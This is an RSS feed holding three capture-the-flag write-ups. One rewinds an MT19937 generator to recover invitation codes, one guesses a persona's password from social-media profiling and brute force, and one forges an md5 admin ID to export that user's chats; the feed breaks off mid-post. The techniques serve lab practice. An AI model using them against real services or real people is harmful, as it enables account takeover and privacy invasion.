<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Dr.kasbr on Medium]]></title>
        <description><![CDATA[Stories by Dr.kasbr on Medium]]></description>
        <link>https://medium.com/@drkasbr?source=rss-92f5cb8e0013------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*FdNUNsS_kOYOArLS91xWuA.gif</url>
            <title>Stories by Dr.kasbr on Medium</title>
            <link>https://medium.com/@drkasbr?source=rss-92f5cb8e0013------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 19:57:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@drkasbr/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[flagyard web-NOSJ]]></title>
            <link>https://drkasbr.medium.com/flagyard-web-nosj-da6d47ad8227?source=rss-92f5cb8e0013------2</link>
            <guid isPermaLink="false">https://medium.com/p/da6d47ad8227</guid>
            <category><![CDATA[fun]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[flagyard]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[lol]]></category>
            <dc:creator><![CDATA[Dr.kasbr]]></dc:creator>
            <pubDate>Tue, 20 Jan 2026 16:01:48 GMT</pubDate>
            <atom:updated>2026-01-26T20:52:16.081Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NUbLI6fJLcMmwEkZui9trQ.png" /></figure><pre>Welcome to our E-commerce website, I wish you enjoy the journey. <br>- First Man Standing</pre><p>Hi everyone this challenge stayed unsolved for a long time so in this writeup I’ll walk through the full idea i Hope you enjoy ; )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AdvroDnTlRqYLKiUyxfAjw.png" /></figure><p>The application exposes two roles:</p><pre>Buyer == needs a valid invitation code to open the store and receive the flag<br>Seller == can generate buyer invitation codes</pre><p>So first we must register a seller, then use seller to invite the buyer</p><p>When you register as Buyer</p><p>you gonna need Invitation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JxUecsF5At9Is-PCcH25Fg.png" /></figure><p>So let’s register as seller to inv the buyer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gj8pskYuGuNoJPYth4M84Q.png" /></figure><p>And here is the first trick which is we need active the seller</p><p>but When you check your req</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d_QBVCxZ6AkoJpGPPeURvg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rySuvpUkbej20vraqAuGkg.png" /></figure><p>The trick is the activated only accepts a boolean (true/false) and you can’t set it to true</p><p>we can bybass this by duplicate keys using Unicode truncation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BoiSmxoW_x5kBZzAVdlSpA.png" /></figure><p>Now the seller account becomes active and you can access the seller dashboard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*krmwq31F2LIHI97naq9Fgw.png" /></figure><p>let’s inv our Buyer account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YTzvtp2gVq9KiiY64gwXDw.png" /></figure><p>Back to burp to see the req</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HgoIb9qtEt94zRnWXCP60g.png" /></figure><p>ok now we have the inv code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Slp7GqGV0MB4Exe4QekYMQ.png" /></figure><blockquote>Invitation submitted! The invitation is still new and upcoming, we’ll contact you once this store is open.</blockquote><p>So until now the idea is clear we just need tp open the store by find inv code open it for us</p><h3>moving into the next step</h3><p>The endpoint /get_buyer_invitation accepts a list of names. When the list contains repeated values, the response returns a list of sequential invitation codes (one per element)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JK0OmdJnbSeafEsRebvZ9w.png" /></figure><p>so i used</p><pre>{&quot;name&quot;: [NaN, NaN, NaN,<br>NaN, NaN, NaN,]} </pre><p>To dump all codes</p><p>Soo the idea now is trying all these codes and see if anything gonna happen</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/0*DCpAKjS9uJBdQZUa" /></figure><p>but yah nothing worked i even checked the formatting/lengt for every code but it’s wan’t the same every code have random number</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4U8EMztbnYFH2Ck-" /></figure><p>However, after restarting the instance multiple times and re-dumping, a clear structure appeared:</p><pre>- There are always 800 codes<br>- The codes are sequential and deterministic for the instance<br>- The code values are in the 0..2^32-1 range <br>- no values outside unsigned 32‑bit range </pre><p>That lines up strongly with a PRNG-backed generation mechanism rather than “real randomness”.</p><p>If we go back to the description:</p><p>Welcome to our E-commerce website, I wish you enjoy the journey.</p><pre>- First Man Standing</pre><p>So if you think about it, it’s not really random <a href="https://en.wikipedia.org/wiki/Mersenne_Twister">https://en.wikipedia.org/wiki/Mersenne_Twister</a></p><p>Since we have 800 outputs, we can recover the state using <strong>MT19937</strong></p><p><strong>MT19937 facts:</strong></p><ul><li>Once the state is known, you can predict <em>future</em> outputs</li><li>You can also rewind to previous outputs</li></ul><p>Confirming MT19937</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J8hpNf2sOPZ6mS5NLaqxuA.png" /></figure><pre>1) Submit the first 624 values to an MT19937 state recovery tool<br>2) Predict the next few outputs and compare to the dump.<br>3) If predictions match, the stream is confirmed as MT19937.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*XGJuRcRd7a3QuPRtalvJaQ.png" /></figure><p>This check succeeds:<br>predicted outputs match the dumped list, so the stream is confirmed</p><p>So</p><p>We dumped 800 sequential outputs, but the valid invitation is <strong>earlier</strong> than this window. That means we must rewind the PRNG.</p><h3>Rewind math</h3><p>After submitting 624 outputs, the recovery tool’s internal cursor sits at output index 624 of the observed stream. To generate the <strong>previous 800 values</strong>, we offset by:</p><pre>-(624 + 800)</pre><pre>sage: rc = RandCrack()<br>....: for v in outputs[:624]:<br>....:     rc.submit(v)<br>....: rc.offset(-(624 + 800))<br>....: prev_outputs = [rc.predict_getrandbits(32) for _ in range(800)]<br>sage: print(prev_outputs)<br>[2367117681, 42282097, 3934616742, 821412120, 1012857204, 1418681078, etc...</pre><p>This yields the 800 <strong>earlier</strong> outputs in the stream.</p><p>Soo was a dead end for me at first, because based on the hint</p><pre> First Man Standing</pre><p>i thought the whole idea was submit the first code was generated</p><pre>┌──(oxfun㉿0xfun)-[~/Desktop/new_ctf/flagyard/NOSJ]<br>└─$ python3 solve_nosj.py<br>[*] got 800 codes. first: 4214217566<br>[*] rewound 800 codes. first: 2426950288</pre><p>So it wasn’t exactly what I expected. The real idea was: submit all the recovered codes, and <strong>one of them</strong> will be the right invitation</p><pre>┌──(oxfun㉿0xfun)-[~/Desktop/new_ctf/flagyard/NOSJ]<br>└─$ python3 solve_nosj.py<br>[*] got 800 codes. first: 4214217566<br>[*] rewound 800 codes. first: 2426950288<br>[?] interesting response at 786: Your flag is: FlagY{x}<br>here is the right code 2908459947</pre><p>And yeah that’s it ; )</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da6d47ad8227" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[osint-Forgotten Ruins bounty $$]]></title>
            <link>https://drkasbr.medium.com/osint-forgotten-ruins-bounty-dadf2fe21374?source=rss-92f5cb8e0013------2</link>
            <guid isPermaLink="false">https://medium.com/p/dadf2fe21374</guid>
            <category><![CDATA[osint-investigation]]></category>
            <category><![CDATA[fun]]></category>
            <category><![CDATA[bounties]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Dr.kasbr]]></dc:creator>
            <pubDate>Thu, 08 Jan 2026 09:02:50 GMT</pubDate>
            <atom:updated>2026-01-08T09:02:50.748Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xUY0owwT9J8ptHjlM4YAyA.png" /></figure><p>Hi there! I hope you enjoy this tricky challenge. It was really fun because it looked like a real-life case scenario. So yeah, I hope you have fun</p><p>I made a small mind map I hope it helps you understand everything and see how all the pieces are connected : )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pEk1p_raVGUWKGHKVd0AOg.png" /><figcaption><a href="https://ibb.co/zT7yRjb7">https://ibb.co/zT7yRjb7</a></figcaption></figure><h4>Ok start with description</h4><blockquote>How much a person can reveal about himself? connect through nc</blockquote><p>So We connect through <strong>nc</strong>, and we are presented with three options:</p><blockquote>1- login</blockquote><blockquote>2- Forget password</blockquote><blockquote>3- Exit</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*OEhoIuU1fQvX15DLf6Xc1Q.png" /></figure><p>The <strong>Login</strong> option requires a username and password, which is our final target<br>However, at this stage, we have no idea what the correct username or password is, or how to obtain them.</p><p>So yeah, let’s move to the next step: <strong>Forgot Password</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*uExyATaeaGWV5JUmdhyawA.png" /></figure><blockquote>Forgot Password</blockquote><p>When we enter a real email address, we receive a message and that’s where everything starts</p><p>Here is the email we received:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*WoHv6qTWsPQo7GuG3T6iXQ.png" /></figure><pre>From: support@vulnbydefault.com<br>To: bamaxem963@hudisk.com<br>Subject: Password Reset Request<br>Message-Id: &lt;4dmlPS0w8vz3wmM@de-fra-smtpout6.hostinger.io&gt;<br>Date: Wed,  7 Jan 2026 23:59:08 +0000 (UTC)<br>X-CM-Analysis: v=2.4 cv=ALriHGRn c=1 sm=1 tr=0 ts=695ef34c a=iGevgHD+Lw1/Gbpf551+wQ==:117 a=iGevgHD+Lw1/Gbpf551+wQ==:17 a=sWKEhP36mHoA:10 a=g8TUdU_LZmEA:10 a=Xsvl1oH0AAAA:8 a=INwbWJrH-rvYCkSZB70A:9 a=CjuIK1q_8ugA:10 a=8RYlvNRTLsSkW-wCn2Mp:22 a=kSDhmIrXGRTD-Z8k7k_I:22<br>X-CM-Envelope: MS4xfIP/hM4yMDXsP5ufGtctZiYbCdKPAFfstXK+egXbewNZ0zzdXkyrnJ/90aSUNK+ed9pgkJ83wlGjaJVfTArrNywGGGheFcoHCHWTdKmigBEcOOEAtBJ9 9KoCD+DivjhdeR8QTssIPPNKZewK9v+m14pqhBNqOUBqumTb2gWAw+DADFD7lC/6JATpe1tqFtqFjJyoUslSYU6XqVUyEA42fRI=<br>X-AuthUser: support@vulnbydefault.com<br>--===============9157127908829319951==<br>Content-Type: text/plain; charset=&quot;us-ascii&quot;<br>MIME-Version: 1.0<br>Content-Transfer-Encoding: 7bit<br>            Hello,<br>            Remember if you forgot your password, the company policy for password is to use 3 things that are important in your life as password.<br>        <br>            Contact support if you have any questions.<br>            Regards,<br>            Owen Rosz<br>            Owenrosz@vbd.com<br>            Support Team</pre><p>Ok Now the real work starts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*OvG4NbA566fwBuip.gif" /></figure><h3>First important clue</h3><blockquote>The company policy for passwords is to use 3 things that are important in your life.</blockquote><h3>Second important clue</h3><pre>            Owen Rosz<br>            Owenrosz@vbd.com<br>            Support Team</pre><p>Soo now we have a Full name and user and the company policy</p><pre>First Name : Owen<br>Last Name : Rosz<br>User : Owenrosz </pre><h3>OSINT Enumeration</h3><p>first HIT was instangram account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*SrP3-t1VxYqLQ7GjafeIbw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LTs-q5oaKHFNVNR2_byrWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*4OswVyI52ASLCejvVoVZXg.png" /></figure><p>From the Instagram account, we found four things:</p><pre>1-istanbule <br>2-Turkey<br>3-Taksim Square<br>4-cuteomencat</pre><p>So Based on this, we need to identify <strong>three important personal elements</strong>, similar to common security questions used by companies like Google or Apple.</p><p>For ex</p><pre>What is the name of your favorite pet?<br>In which city were you born?<br>What is the birthdate of one of your siblings?<br></pre><p>At this point, we already had <strong>two strong candidates</strong>, so this confirmed we were on the right path.</p><p>Note thesee and move to the next step which is check the <strong>cuteomencat</strong> account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_7dCwoikJTvRNGhO7PtQVQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/116/1*sLbyW4UFLQYz56IZ1mNdNA.png" /></figure><p>This led to a <strong>Reddit account</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pCi61mfYIZoSkCsmDEugvQ.png" /></figure><p>and we have</p><pre>DOB: 7 sept 2013 (edited)</pre><p>Since the date of birth was edited, I tried to find the original value. I looked for deleted posts and comments, but it was a dead end because the Wayback Machine was down.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*1JBDG9uYWDuiLeSw12UUeg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/0*OrfoHLPGb-us9OMA.gif" /></figure><p>So yah i skipped that part for now and focused on the <strong>social links</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*KFB-iXuWUNWB9CANPO4wKg.png" /></figure><p>which lead to really something interesting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9cnVqzdgdlPTzRco9IcmTg.png" /></figure><pre>i love my house number its literally leet so nerdy remember its numbers only </pre><p>and here was main trick</p><p>As a CTF player, “leet” immediately translates to:</p><pre>leet = 1337</pre><p>Unfortunately, I overthought it and started looking for the actual house location.<br> To be honest, I learned a lot about Iran doing this 😅</p><p>So yah</p><h3>Geolocation Attempt (Overthinking Phase)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*oR_OTjllxbwN_Z1wN0F6kA.jpeg" /></figure><p>First thing we can see here the</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/177/1*bFXzoCS6_c4WwsLhuqu-gA.png" /></figure><p>which is Persian language</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/155/1*256O8pGQ3I3Ny4oOz_MRVA.png" /></figure><p>here we can see number 22010 something if we goo deep into it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jcEhy5T8aDlVg6TPM8xXng.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*v4dP90qRwSebm-FLkR8l0w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QMXjXb0ymcoyip8W4ahYxg.png" /><figcaption><a href="https://en.wikipedia.org/wiki/Telephone_numbers_in_Iran">https://en.wikipedia.org/wiki/Telephone_numbers_in_Iran</a></figcaption></figure><p>So now we know this image in iran specifically Tehran</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*peQYOZPtSmxW6FBUvxfKwA.png" /></figure><p>also saw motorcycles parked in front of what looked like a restaurant or business</p><p>So the reall challenge is find them</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QZPBks2RjFPNo-3NSyxfsA.png" /></figure><p>And what make it more harder is no view street in google map for most street</p><p>in fact they have there own google map : )</p><p>like <a href="https://balad.ir/">balad</a> and <a href="https://neshan.org/maps">neshan</a></p><p>But was so limit and many websites you can’t access : (</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*0OXeUnTqqf8ARyai.gif" /></figure><p>So I found a series of videos of a person who was roaming all over Tehran</p><p>but the hard part is there is 93 video there So yah only see my goals i don’t believe in failure ;)</p><p>until now the plan was</p><pre>{first part}{cat name}{house number }<br>which mostly the First part is the DOB </pre><p>the last part was left So yah i foucsed on these videows and foucse at these points</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WSVOH1bD4IYDsHbJKzMZXQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*QPkQQRhiHPKoJryp.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*_q9_k6wTIkVb2kojG9CXQg.png" /></figure><p>So yah finlay i goat lead</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fYU9kidnBB8AEnuB3trxHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/155/1*256O8pGQ3I3Ny4oOz_MRVA.png" /></figure><p>So now we found that area</p><p>Then in that area we found the other motorcycle</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*ca6zQZusoj2n9GcZQlHJmA.png" /></figure><p>which is <a href="https://www.foodbell.ir/">foodbell</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9fsiv3Ko_IyJk_Vq0fbMIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*Vm4_b8wrtzEGyLfZCYdmzQ.png" /></figure><p>and they currently serves 8 restaurants</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*a6ROD_vcQHpYOVPVg4Vo-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YhIbPM6u__1UJbkCOT9YbA.png" /></figure><p>So let’s check them with balad ir</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*iQimAnDbNrbmA1R4plbc8Q.png" /></figure><p>but unfourtaly it’s was wrong password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*x1mARH9yVuWgRUxo.gif" /></figure><p>So yah let’s back to our findings and see what we have</p><pre>city = &quot;Turkey&quot;<br>leet= &quot;1337&quot;<br>animal_name = &quot;Omen&quot;<br>birthday_years= &quot;1995–2025&quot;<br>house_number = &quot;1-20&quot;</pre><p>so the if you think about it as passwords mostly gonna end with numbers</p><p>which mean</p><pre>{part1} Omen {part3}</pre><p>So after make my worldlist which huge ngl</p><p>i faced issue which is the time</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*TbUkGrPs8AHPlx0D7OpG1A.png" /></figure><p>every container have limit 1h and our world list is huge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k0FDSDdxjmR8wRGc" /></figure><p>So I came up with an idea: <br>which is split the wordlists into smaller parts and keep the connection open using the same pipe I used a single connection to send credentials to the login function If a login attempt failed don’t close the pipe and re connect instead, I simply sent the next credentials and retried the login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xjsrYPQYBMOQGZAKeu-MTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OHzCTsfQHWIZjy7Y-Uk23Q.png" /></figure><p>So yah After some really hard work</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*x1TJ4wS-ZHb4ZGyktnxH5g.png" /></figure><p>The reall password was</p><pre>1337Omen2003</pre><p>The funy thing after i solved i asked the admin what was the idea</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*poYHNaiAeN7SPkrGGGIG3A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*gVjcAsAGYE9F_fyw.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IyhoOaFX9MqzrNYyIAeyCA.png" /></figure><p>So yah maybe i overthinking but at least win is win : )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*-9H2PbCnRk8cTiOq.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dadf2fe21374" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FlagYard web/Mischenger]]></title>
            <link>https://drkasbr.medium.com/flagyard-web-mischenger-d0a587973fa9?source=rss-92f5cb8e0013------2</link>
            <guid isPermaLink="false">https://medium.com/p/d0a587973fa9</guid>
            <category><![CDATA[web]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[flagyard]]></category>
            <dc:creator><![CDATA[Dr.kasbr]]></dc:creator>
            <pubDate>Mon, 05 Jan 2026 23:41:04 GMT</pubDate>
            <atom:updated>2026-01-05T23:41:04.687Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o9AEf7qqSaJaZcbfR82AKQ.png" /></figure><p>Ok starting with descriptoin</p><pre><br>Let’s get out of the American Ecosystem, No more mess 😉</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uAIiArwD4BWZR0Iw8_Y-Uw.png" /></figure><p>At first we have to create an account and login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pJHU-ECIk3Ea1LpPwOKVlw.png" /></figure><p>ok So we have here</p><pre>New chat <br>Export <br>Setting <br>Sign Out </pre><p>So first thing</p><p>By checking the frontend JS</p><pre>/static/app.js</pre><p>we can see the API endpoints and Socket.IO events:</p><pre>- /api/auth/register<br>- /api/auth/login<br>- /api/chats<br>- /api/chats/create<br>- /api/exports<br>- /api/download/&lt;id&gt;</pre><p>So first thing let’s check Creat chat what we can do</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PMhaI-0TD7CkoSZtLy8TCA.png" /></figure><p>When you click “New chat”</p><p>the server tells you if the username exists or not : )</p><p>So we know there is an admin user (chat is created with System Administrator)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XDsrIWjF5htZQ8AFTdS_0Q.png" /></figure><p>until now everything was super ez but here is the trick</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MFurvcG4TmBoznKad5ifQg.png" /></figure><p>When you check the jwt you gonna see it’s</p><pre>{<br>  &quot;user_id&quot;: &quot;4722f3b8486c0ba9ef5b493112508426&quot;,<br>  &quot;exp&quot;: 1767736157<br>}</pre><p>When I first saw the user_id, the first thing that came to mind was <strong>IDOR</strong>.<br> But the question is: <strong>how</strong>? And <strong>how is the </strong><strong>user_id generated</strong>?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*mrzXMLMmTO9PKhL0.gif" /></figure><p>So yeah, take your notes and map everything to organize your ideas.</p><pre>user_id== 32byte ==  most likely md5 </pre><p>So how can we crack this hash and get the correct format?</p><p>Based on app.js:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*95_aUeD8--2ye69SkVGVog.png" /></figure><pre>async function downloadExport(exportId, filename) {<br>    if (!authToken) {<br>        showError(&#39;Authentication required&#39;);<br>        return;<br>    }<br>    <br>    try {<br>        const response = await fetch(`/api/download/${exportId}`, {<br>            headers: {<br>                &#39;Authorization&#39;: `Bearer ${authToken}`,<br>            },<br>        });<br>        <br>        if (response.ok) {<br>            const blob = await response.blob();<br>            const url = window.URL.createObjectURL(blob);<br>            const a = document.createElement(&#39;a&#39;);<br>            a.style.display = &#39;none&#39;;<br>            a.href = url;<br>            a.download = filename || `export_${exportId}.csv`;<br>            document.body.appendChild(a);<br>            a.click();<br>            window.URL.revokeObjectURL(url);<br>            document.body.removeChild(a);<br>            <br>            showSuccess(&#39;Download completed&#39;);<br>        } else {<br>            const error = await response.json();<br>            showError(error.error || &#39;Download failed&#39;);<br>        }<br>    } catch (error) {<br>        console.error(&#39;Download error:&#39;, error);<br>        showError(&#39;Download error. Please try again.&#39;);<br>    }<br>}</pre><p>So The idea is to get the <strong>correct admin ID</strong> in order to access his chats.</p><p>But again, how does user_id work? What is the correct format?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*9ngTeRUxIdii6ofe.gif" /></figure><p>So many quastoin so let’s try analyze it</p><p>based on msgs we can see he is using timestamp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5pFKR_KLfUV2-tEerVCTbQ.png" /></figure><pre>&quot;timestamp&quot;:&quot;2026-01-05 22:02:08&quot;<br>     Format: YYYY-MM-DD HH:MM:SS</pre><p>So maybe the user_id is also based on this</p><p>How can we test that?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gLsPT9zp2SYwvluHYnsdLg.png" /></figure><p>When we register, we can see the Date header:</p><pre>Date: Mon, 05 Jan 2026 21:49:17 GMT <br>Which corresponds to: 2026-01-05 21:49:17</pre><p>So</p><pre>┌──(oxfun㉿0xfun)-[~/Desktop/new_ctf/flagyard/Mischenger]<br>└─$  printf &#39;2026-01-05 21:49:17&#39; | md5sum <br>4722f3b8486c0ba9ef5b493112508426  -<br>                                                                                                                                                                                                                                               <br>┌──(oxfun㉿0xfun)-[~/Desktop/new_ctf/flagyard/Mischenger]<br>└─$</pre><p>which match our user_id</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*oyUDEnZ-TVAPyjNz.gif" /></figure><p>So now we know how user_id works</p><p>let’s move into the next step which is find the Admin ID</p><pre>admin_id == md5(YYYY-MM-DD HH:MM:SS)</pre><p>But how do we get the admin’s registration time?</p><p>If you check the endpoints or use a fuzzing tool, you’ll find:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4p-LOgEsKIR_l38jgR64BQ.png" /></figure><pre>200      GET        1l        5w      256c http://rhjfa2fzyni-0.playat.flagyard.com/api/users/stats</pre><p>let’s see it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kHohZmiXw7_tZ5Z9xDNyNw.png" /></figure><pre>{&quot;stats&quot;:[{&quot;date&quot;:&quot;2024-01-01&quot;,&quot;first_registration&quot;:&quot;2024-01-01 08:00:00&quot;,&quot;last_registration&quot;:&quot;2024-01-01 08:00:00&quot;,&quot;user_count&quot;:1},{&quot;date&quot;:&quot;2026-01-05&quot;,&quot;first_registration&quot;:&quot;2026-01-05 21:44:53&quot;,&quot;last_registration&quot;:&quot;2026-01-05 21:49:17&quot;,&quot;user_count&quot;:2}]}</pre><p>From here, we can see the admin registration date:</p><pre>2024-01-01 08:00:00</pre><pre>                                                                                                                                                                                                                                               <br>┌──(oxfun㉿0xfun)-[~/Desktop/new_ctf/flagyard/Mischenger]<br>└─$ printf &#39;2024-01-01 08:00:00&#39; | md5sum <br>34fe3e505a9472469cbcc0bfa19103bd  -<br>                                                                                                                                                                                                                                               <br>┌──(oxfun㉿0xfun)-[~/Desktop/new_ctf/flagyard/Mischenger]<br>└─$</pre><p>Now we have the <strong>admin ID</strong>.</p><blockquote>how we can get his chat ?</blockquote><p>Back to the app.js</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XyJURawHCIaR_6NrBFQtdA.png" /></figure><pre><br>async function handleExport() {<br>    if (!authToken || !exportSubmitBtn) return;<br>    <br>    const targetUserId = currentUser?.id;<br>    if (!targetUserId) {<br>        showError(&#39;No user selected for export&#39;);<br>        return;<br>    }<br>    <br>    exportSubmitBtn.disabled = true;<br>    exportSubmitBtn.innerHTML = &#39;&lt;i class=&quot;fas fa-spinner fa-spin&quot;&gt;&lt;/i&gt; Processing...&#39;;<br>    <br>    try {<br>        if (!socket || !socket.connected) {<br>            initializeSocket();<br>            await new Promise(resolve =&gt; {<br>                socket.on(&#39;connect&#39;, resolve);<br>                setTimeout(resolve, 3000);<br>            });<br>        }<br>        <br>        socket.emit(&#39;export_chats&#39;, {<br>            user_id: targetUserId,<br>            export_type: &#39;all&#39;<br>        });<br>        <br>    } catch (error) {<br>        console.error(&#39;Export error:&#39;, error);<br>        showError(&#39;Export failed. Please try again.&#39;);<br>        exportSubmitBtn.disabled = false;<br>        exportSubmitBtn.innerHTML = &#39;&lt;i class=&quot;fas fa-download&quot;&gt;&lt;/i&gt; Start Export&#39;;<br>    }<br>}</pre><p>The export feature uses Socket.IO not normal HTTP</p><pre>        socket.emit(&#39;export_chats&#39;, {<br>            user_id: targetUserId,<br>            export_type: &#39;all&#39;<br>        });</pre><p>The event name is export_chats and it expects two fields:</p><pre>{&quot;user_id&quot;:&quot;&lt;target_user_id&gt;&quot;,&quot;export_type&quot;:&quot;all&quot;}</pre><p>and based on WebSockets history</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*3DbBVuQJd0N2cDyyPG0BkQ.png" /></figure><pre>42[&quot;export_chats&quot;,{&quot;user_id&quot;:&quot;4722f3b8486c0ba9ef5b493112508426&quot;,&quot;export_type&quot;:&quot;all&quot;}]</pre><pre>42[&quot;export_completed&quot;,{&quot;message&quot;:&quot;Export completed successfully! Check your downloads in Settings.&quot;,&quot;filename&quot;:&quot;chat_export_0xfun_test.csv&quot;,&quot;target_user&quot;:&quot;0xfun_test&quot;}]</pre><p>So here is the whole thing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UO4XH-GIQLkdI9rPzMprcQ.png" /></figure><p>we send</p><pre>42[&quot;export_chats&quot;,{&quot;user_id&quot;:&quot;34fe3e505a9472469cbcc0bfa19103bd&quot;,&quot;export_type&quot;:&quot;all&quot;}]</pre><p>we receive</p><pre>42[&quot;export_completed&quot;,{&quot;message&quot;:&quot;Export completed successfully! Check your downloads in 